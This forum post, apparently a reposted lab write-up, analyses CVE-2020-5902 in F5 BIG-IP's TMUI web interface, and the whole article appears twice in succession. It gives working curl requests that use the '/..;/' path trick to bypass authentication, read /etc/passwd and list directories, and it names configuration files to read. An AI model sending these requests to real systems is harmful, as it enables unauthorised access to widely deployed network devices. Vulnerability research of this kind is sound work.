BlackPope
Местный
- Регистрация
- 27.04.2020
- Сообщения
- 242
- Реакции
- 35
В июле 2020 года немало шума наделала уязвимость, найденная в линейке продуктов F5, в частности — в BIG-IP. Это контроллер доставки приложений, который используют и в крупнейших компаниях вроде банков и операторов сотовой связи. Уязвимости присвоили наивысший уровень опасности, поскольку она позволяет без каких-либо привилегий получить полный контроль над целью.
В составе BIG-IP есть разные модули, которые работают под управлением операционной системы TMOS. Один из них — Local Traffic Manager (LTM) — обрабатывает трафик приложений, обеспечивает безопасность сетевой инфраструктуры и локальную балансировку нагрузки. LTM можно гибко настраивать, в том числе при помощи веб-интерфейса TMUI (Traffic Management User Interface). В нем и нашли уязвимость.
Точнее, нашел Михаил Ключников из Positive Technologies. Баг существует из-за некорректной нормализации URI при обработке запросов. Злоумышленник может обойти аутентификацию в Traffic Management User Interface и использовать функции системы, которые предназначены только для администратора. В результате этого атакующий может выполнять произвольные команды на целевой системе от суперпользователя, а это означает полную компрометацию сервера.
Баг получил номер CVE-2020-5902 и 10 из 10 баллов критичности по CVSS. Уязвимость присутствует в BIG-IP версий с 15.0.0 по 15.1.0.3, с 14.1.0 по 14.1.2.5, 13.1.0–13.1.3.3, 12.1.0–12.1.5.1 и 11.6.1–11.6.5.1.
Тестовый стенд
Так как продукт коммерческий, простого докер-контейнера в этот раз не будет. Самый легкий способ поднять стенд — это скачать тридцатидневную пробную версию BIG-IP VE (Virtual Edition). Для этого нужен аккаунт, который можно создать на сайте F5. После подтверждения можно будет переходить в раздел загрузок.
Нам нужна последняя уязвимая версия, это — 15.1.0.3. BIG-IP распространяется в нескольких вариантах, нас интересует образ виртуальной машины в формате OVA. Перед загрузкой предложат выбрать удобное зеркало.
Страница загрузки виртуальной машины BIG-IP в формате OVA
Также можешь попробовать воспользоваться моей ссылкой для скачивания образа. Не могу сказать, сколько она проживет, но пока отлично работает.
После этого импортируем скачанный образ в свою программу виртуализации. Я буду использовать VMware, но и VirtualBox отлично с этим справится.
После успешного импорта загружаем виртуалку. Через некоторое время видим приглашение для авторизации.
Авторизация в виртуальной машине BIG-IP
По дефолту пароль для суперпользователя — default (тебе сразу предложат его сменить). Теперь можно посмотреть IP-адрес виртуалки.
IP-адрес виртуальной машины BIG-IP
Открываем браузер и переходим на этот IP. Видим форму авторизации Traffic Management User Interface.
Форма авторизации BIG-IP Configuration Utility
Стенд готов.
Вернемся в консоль. Посмотрим, что за веб-сервер слушает 443-й порт.
netstat -lnpe | grep 443
Смотрим, какой сервис слушает 443-й порт в BIG-IP
Это обычный демон httpd, но очевидно, что он используется просто как фронтенд для проксирования запросов куда-то дальше. Поищем среди конфигурационных файлов директивы ProxyPass.
grep -iR ProxyPass /etc/httpd
Поиск директивы проксирования в конфигах httpd
Нашлось много интересного в файле /etc/httpd/conf.d/proxy_ajp.conf.
/etc/httpd/conf.d/proxy_ajp.conf
...
ProxyPassMatch ^/tmui/(.*\.jsp.*)$ ajp://localhost:8009/tmui/$1 retry=5
ProxyPassMatch ^/tmui/Control/(.*)$ ajp://localhost:8009/tmui/Control/$1 retry=5
ProxyPassMatch ^/tmui/deal/?(.*)$ ajp://localhost:8009/tmui/deal/$1 retry=5
ProxyPassMatch ^/tmui/graph/(.*)$ ajp://localhost:8009/tmui/graph/$1 retry=5
ProxyPassMatch ^/tmui/service/(.*)$ ajp://localhost:8009/tmui/service/$1 retry=5
ProxyPassMatch ^/hsqldb(.*)$ ajp://localhost:8009/tmui/hsqldb$1 retry=5
...
И название, и содержимое файла наводят на мысль, что запросы переправляются к веб-серверу Tomcat по протоколу AJP.
8009-й порт — это AJP-протокол сервера Apache Tomcat
Но сейчас проблема не в этом. Нам нужно посмотреть на то, как передается URI к Tomcat. Здесь стоит обратиться к большому исследованию Оранжа Цая о нормализации путей в различных приложениях, которое он представил на Black Hat USA 2018 и DEF CON 26 (PDF). Там есть раздел о Tomcat, где конструкция /..;/ используется для выхода из директории, обхода некоторых правил и получения доступа к файлам с важной информацией. Это возможно потому, что веб-сервер воспринимает конструкцию /..;/ как имя папки, а Tomcat интерпретирует его в качестве относительного пути — вверх по дереву в родительскую директорию.
Чтобы проверить, работает ли этот баг в нашем случае, попробуем прочитать какой-нибудь файл, доступ к которому в обычных условиях запрещен. Список таких можно посмотреть, например, в конфиге TMUI — /usr/local/www/tmui/WEB-INF/web.xml.
/usr/local/www/tmui/WEB-INF/web.xml
<servlet-mapping>
<servlet-name>org.apache.jsp.dashboard.viewset_jsp</servlet-name>
<url-pattern>/dashboard/viewset.jsp</url-pattern>
</servlet-mapping>
Попробуем его просмотреть простым запросом.
curl -k "https://192.168.31.140/tmui/dashboard/viewset.jsp" -is
В ответ получаем редирект на страницу авторизации. А теперь сделаем это при помощи конструкции /..;/.
curl -k "https://192.168.31.140/tmui/login.jsp/..;/dashboard/viewset.jsp" -is
Скрипт viewset.jsp отрабатывает успешно, и сервер возвращает результат.
Обход авторизации и просмотр недоступных страниц в F5 BIG-IP
Теперь мы можем читать любые страницы и выполнять сервлеты, которые не проверяют сессию пользователя внутри себя.
Давай посмотрим, что можно откопать в дебрях TMUI. Все самое интересное лежит в директории /usr/local/www/tmui/WEB-INF/. Здесь же находятся и сами сервлеты, в откомпилированном виде. В связи с этим мне понадобится JD-GUI. Чтобы было проще, советую просто заархивировать директорию /usr/local/www/tmui/WEB-INF/ в формате ZIP и открыть в JD-GUI.
Декомпиляция классов BIG-IP в JD-GUI
А список эндпойнтов, как мы уже выяснили, можно найти в файле /usr/local/www/tmui/WEB-INF/web.xml. Их очень много, поэтому приведу здесь несколько наиболее интересных, которые были найдены после релиза уязвимости в паблик.
Первый — /tmui/locallb/workspace/fileRead.jsp.
/usr/local/www/tmui/WEB-INF/web.xml
...
<servlet>
<servlet-name>org.apache.jsp.tmui.locallb.workspace.fileRead_jsp</servlet-name>
<servlet-class>org.apache.jsp.tmui.locallb.workspace.fileRead_jsp</servlet-class>
</servlet>
...
<servlet-mapping>
<servlet-name>org.apache.jsp.tmui.locallb.workspace.fileRead_jsp</servlet-name>
<url-pattern>/tmui/locallb/workspace/fileRead.jsp</url-pattern>
</servlet-mapping>
...
WEB-INF/classes/org/apache/jsp/tmui/locallb/workspace/fileRead_jsp.java
01: package WEB-INF.classes.org.apache.jsp.tmui.locallb.workspace;
...
26: public final class fileRead_jsp extends HttpJspBase implements JspSourceDependent {
...
61: public void _jspService(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {
...
77: String fileName = WebUtils.getProperty(request, "fileName");
78: try {
79: JSONObject resultObject = WorkspaceUtils.readFile(fileName);
80: out.print(resultObject.toString());
Этот сервлет позволяет читать произвольные файлы, если передать в параметре fileName. Пробуем прочитать каноничный /etc/passwd.
curl -k "https://192.168.31.140/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd" -is
Успех, сервер возвращает содержимое файла.
Чтение произвольных файлов в BIG-IP
Из интересных файлов, которые можно прочитать, стоит отметить:
/usr/local/www/tmui/WEB-INF/web.xml
...
<servlet>
<servlet-name>org.apache.jsp.tmui.locallb.workspace.directoryList_jsp</servlet-name>
<servlet-class>org.apache.jsp.tmui.locallb.workspace.directoryList_jsp</servlet-class>
</servlet>
...
<servlet-mapping>
<servlet-name>org.apache.jsp.tmui.locallb.workspace.directoryList_jsp</servlet-name>
<url-pattern>/tmui/locallb/workspace/directoryList.jsp</url-pattern>
</servlet-mapping>
...
На вход он принимает параметр directoryPath, а на выходе, как ты уже догадался, выдает листинг указанной директории.
WEB-INF/classes/org/apache/jsp/tmui/locallb/workspace/directoryList_jsp.java
26: public final class directoryList_jsp extends HttpJspBase implements JspSourceDependent {
...
61: public void _jspService(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {
...
77: String directoryPath = WebUtils.getProperty(request, "directoryPath");
78: try {
79: JSONObject resultObject = WorkspaceUtils.listDirectory(directoryPath);
80: out.print(resultObject);
curl -k "https://192.168.31.140/tmui/login.j...irectoryPath=/usr/local/www/tmui/WEB-INF/lib/" -s
Причем содержимое директорий выводится рекурсивно.
curl -k "https://192.168.31.140/tmui/login.j...yList.jsp?directoryPath=/usr/local/www/error/" -s
Директории читаются рекурсивно
Но если скрипту попадаются файлы или папки, которые текущий пользователь не может прочитать, то сервер вернет 500 Internal Server Error.
curl -k "https://192.168.31.140/tmui/login.j...ce/directoryList.jsp?directoryPath=/etc/httpd" -s
Ошибка при чтении директории через directoryList.jsp, если у текущего пользователя недостаточно прав
Как ты успел заметить, все эти методы чтения файлов и директорий вызываются вот из этого класса:
com.f5.tmui.locallb.handler.workspace.WorkspaceUtils
И если поведение WorkspaceUtils.listDirectory и WorkspaceUtils.readFile было вполне понятным, то в следующем сервлете нам придется заглянуть в этот класс, чтобы лучше разобраться в особенностях его работы. Класс WorkspaceUtils располагается в файле .jar по такому пути:
/usr/local/www/tmui/WEB-INF/lib/tmui.jar
Декомпилируем его с помощью все той же JD-GUI, если ты еще этого не сделал.
Переходим к наиболее интересному сервлету — /tmui/locallb/workspace/tmshCmd.jsp.
Продолжение следует…
В составе BIG-IP есть разные модули, которые работают под управлением операционной системы TMOS. Один из них — Local Traffic Manager (LTM) — обрабатывает трафик приложений, обеспечивает безопасность сетевой инфраструктуры и локальную балансировку нагрузки. LTM можно гибко настраивать, в том числе при помощи веб-интерфейса TMUI (Traffic Management User Interface). В нем и нашли уязвимость.
Точнее, нашел Михаил Ключников из Positive Technologies. Баг существует из-за некорректной нормализации URI при обработке запросов. Злоумышленник может обойти аутентификацию в Traffic Management User Interface и использовать функции системы, которые предназначены только для администратора. В результате этого атакующий может выполнять произвольные команды на целевой системе от суперпользователя, а это означает полную компрометацию сервера.
Баг получил номер CVE-2020-5902 и 10 из 10 баллов критичности по CVSS. Уязвимость присутствует в BIG-IP версий с 15.0.0 по 15.1.0.3, с 14.1.0 по 14.1.2.5, 13.1.0–13.1.3.3, 12.1.0–12.1.5.1 и 11.6.1–11.6.5.1.
Тестовый стенд
Так как продукт коммерческий, простого докер-контейнера в этот раз не будет. Самый легкий способ поднять стенд — это скачать тридцатидневную пробную версию BIG-IP VE (Virtual Edition). Для этого нужен аккаунт, который можно создать на сайте F5. После подтверждения можно будет переходить в раздел загрузок.
Нам нужна последняя уязвимая версия, это — 15.1.0.3. BIG-IP распространяется в нескольких вариантах, нас интересует образ виртуальной машины в формате OVA. Перед загрузкой предложат выбрать удобное зеркало.
Страница загрузки виртуальной машины BIG-IP в формате OVA
Также можешь попробовать воспользоваться моей ссылкой для скачивания образа. Не могу сказать, сколько она проживет, но пока отлично работает.
После этого импортируем скачанный образ в свою программу виртуализации. Я буду использовать VMware, но и VirtualBox отлично с этим справится.
После успешного импорта загружаем виртуалку. Через некоторое время видим приглашение для авторизации.
Авторизация в виртуальной машине BIG-IP
По дефолту пароль для суперпользователя — default (тебе сразу предложат его сменить). Теперь можно посмотреть IP-адрес виртуалки.
IP-адрес виртуальной машины BIG-IP
Открываем браузер и переходим на этот IP. Видим форму авторизации Traffic Management User Interface.
Форма авторизации BIG-IP Configuration Utility
Стенд готов.
Детали уязвимости
Вернемся в консоль. Посмотрим, что за веб-сервер слушает 443-й порт.
netstat -lnpe | grep 443
Смотрим, какой сервис слушает 443-й порт в BIG-IP
Это обычный демон httpd, но очевидно, что он используется просто как фронтенд для проксирования запросов куда-то дальше. Поищем среди конфигурационных файлов директивы ProxyPass.
grep -iR ProxyPass /etc/httpd
Поиск директивы проксирования в конфигах httpd
Нашлось много интересного в файле /etc/httpd/conf.d/proxy_ajp.conf.
/etc/httpd/conf.d/proxy_ajp.conf
...
ProxyPassMatch ^/tmui/(.*\.jsp.*)$ ajp://localhost:8009/tmui/$1 retry=5
ProxyPassMatch ^/tmui/Control/(.*)$ ajp://localhost:8009/tmui/Control/$1 retry=5
ProxyPassMatch ^/tmui/deal/?(.*)$ ajp://localhost:8009/tmui/deal/$1 retry=5
ProxyPassMatch ^/tmui/graph/(.*)$ ajp://localhost:8009/tmui/graph/$1 retry=5
ProxyPassMatch ^/tmui/service/(.*)$ ajp://localhost:8009/tmui/service/$1 retry=5
ProxyPassMatch ^/hsqldb(.*)$ ajp://localhost:8009/tmui/hsqldb$1 retry=5
...
И название, и содержимое файла наводят на мысль, что запросы переправляются к веб-серверу Tomcat по протоколу AJP.
8009-й порт — это AJP-протокол сервера Apache Tomcat
Но сейчас проблема не в этом. Нам нужно посмотреть на то, как передается URI к Tomcat. Здесь стоит обратиться к большому исследованию Оранжа Цая о нормализации путей в различных приложениях, которое он представил на Black Hat USA 2018 и DEF CON 26 (PDF). Там есть раздел о Tomcat, где конструкция /..;/ используется для выхода из директории, обхода некоторых правил и получения доступа к файлам с важной информацией. Это возможно потому, что веб-сервер воспринимает конструкцию /..;/ как имя папки, а Tomcat интерпретирует его в качестве относительного пути — вверх по дереву в родительскую директорию.
Чтобы проверить, работает ли этот баг в нашем случае, попробуем прочитать какой-нибудь файл, доступ к которому в обычных условиях запрещен. Список таких можно посмотреть, например, в конфиге TMUI — /usr/local/www/tmui/WEB-INF/web.xml.
/usr/local/www/tmui/WEB-INF/web.xml
<servlet-mapping>
<servlet-name>org.apache.jsp.dashboard.viewset_jsp</servlet-name>
<url-pattern>/dashboard/viewset.jsp</url-pattern>
</servlet-mapping>
Попробуем его просмотреть простым запросом.
curl -k "https://192.168.31.140/tmui/dashboard/viewset.jsp" -is
В ответ получаем редирект на страницу авторизации. А теперь сделаем это при помощи конструкции /..;/.
curl -k "https://192.168.31.140/tmui/login.jsp/..;/dashboard/viewset.jsp" -is
Скрипт viewset.jsp отрабатывает успешно, и сервер возвращает результат.
Обход авторизации и просмотр недоступных страниц в F5 BIG-IP
Теперь мы можем читать любые страницы и выполнять сервлеты, которые не проверяют сессию пользователя внутри себя.
Давай посмотрим, что можно откопать в дебрях TMUI. Все самое интересное лежит в директории /usr/local/www/tmui/WEB-INF/. Здесь же находятся и сами сервлеты, в откомпилированном виде. В связи с этим мне понадобится JD-GUI. Чтобы было проще, советую просто заархивировать директорию /usr/local/www/tmui/WEB-INF/ в формате ZIP и открыть в JD-GUI.
Декомпиляция классов BIG-IP в JD-GUI
А список эндпойнтов, как мы уже выяснили, можно найти в файле /usr/local/www/tmui/WEB-INF/web.xml. Их очень много, поэтому приведу здесь несколько наиболее интересных, которые были найдены после релиза уязвимости в паблик.
Первый — /tmui/locallb/workspace/fileRead.jsp.
/usr/local/www/tmui/WEB-INF/web.xml
...
<servlet>
<servlet-name>org.apache.jsp.tmui.locallb.workspace.fileRead_jsp</servlet-name>
<servlet-class>org.apache.jsp.tmui.locallb.workspace.fileRead_jsp</servlet-class>
</servlet>
...
<servlet-mapping>
<servlet-name>org.apache.jsp.tmui.locallb.workspace.fileRead_jsp</servlet-name>
<url-pattern>/tmui/locallb/workspace/fileRead.jsp</url-pattern>
</servlet-mapping>
...
WEB-INF/classes/org/apache/jsp/tmui/locallb/workspace/fileRead_jsp.java
01: package WEB-INF.classes.org.apache.jsp.tmui.locallb.workspace;
...
26: public final class fileRead_jsp extends HttpJspBase implements JspSourceDependent {
...
61: public void _jspService(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {
...
77: String fileName = WebUtils.getProperty(request, "fileName");
78: try {
79: JSONObject resultObject = WorkspaceUtils.readFile(fileName);
80: out.print(resultObject.toString());
Этот сервлет позволяет читать произвольные файлы, если передать в параметре fileName. Пробуем прочитать каноничный /etc/passwd.
curl -k "https://192.168.31.140/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd" -is
Успех, сервер возвращает содержимое файла.
Чтение произвольных файлов в BIG-IP
Из интересных файлов, которые можно прочитать, стоит отметить:
- /etc/hosts — здесь можно узнать IP-адреса инфраструктуры BIG-IP;
- /config/bigip.conf — здесь находятся переменные конфигурации BIG-IP;
- /config/bigip.license — тут можно почерпнуть информацию о текущей лицензии BIG-IP.
/usr/local/www/tmui/WEB-INF/web.xml
...
<servlet>
<servlet-name>org.apache.jsp.tmui.locallb.workspace.directoryList_jsp</servlet-name>
<servlet-class>org.apache.jsp.tmui.locallb.workspace.directoryList_jsp</servlet-class>
</servlet>
...
<servlet-mapping>
<servlet-name>org.apache.jsp.tmui.locallb.workspace.directoryList_jsp</servlet-name>
<url-pattern>/tmui/locallb/workspace/directoryList.jsp</url-pattern>
</servlet-mapping>
...
На вход он принимает параметр directoryPath, а на выходе, как ты уже догадался, выдает листинг указанной директории.
WEB-INF/classes/org/apache/jsp/tmui/locallb/workspace/directoryList_jsp.java
26: public final class directoryList_jsp extends HttpJspBase implements JspSourceDependent {
...
61: public void _jspService(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {
...
77: String directoryPath = WebUtils.getProperty(request, "directoryPath");
78: try {
79: JSONObject resultObject = WorkspaceUtils.listDirectory(directoryPath);
80: out.print(resultObject);
curl -k "https://192.168.31.140/tmui/login.j...irectoryPath=/usr/local/www/tmui/WEB-INF/lib/" -s
Причем содержимое директорий выводится рекурсивно.
curl -k "https://192.168.31.140/tmui/login.j...yList.jsp?directoryPath=/usr/local/www/error/" -s
Директории читаются рекурсивно
Но если скрипту попадаются файлы или папки, которые текущий пользователь не может прочитать, то сервер вернет 500 Internal Server Error.
curl -k "https://192.168.31.140/tmui/login.j...ce/directoryList.jsp?directoryPath=/etc/httpd" -s
Ошибка при чтении директории через directoryList.jsp, если у текущего пользователя недостаточно прав
Как ты успел заметить, все эти методы чтения файлов и директорий вызываются вот из этого класса:
com.f5.tmui.locallb.handler.workspace.WorkspaceUtils
И если поведение WorkspaceUtils.listDirectory и WorkspaceUtils.readFile было вполне понятным, то в следующем сервлете нам придется заглянуть в этот класс, чтобы лучше разобраться в особенностях его работы. Класс WorkspaceUtils располагается в файле .jar по такому пути:
/usr/local/www/tmui/WEB-INF/lib/tmui.jar
Декомпилируем его с помощью все той же JD-GUI, если ты еще этого не сделал.
Переходим к наиболее интересному сервлету — /tmui/locallb/workspace/tmshCmd.jsp.
Продолжение следует…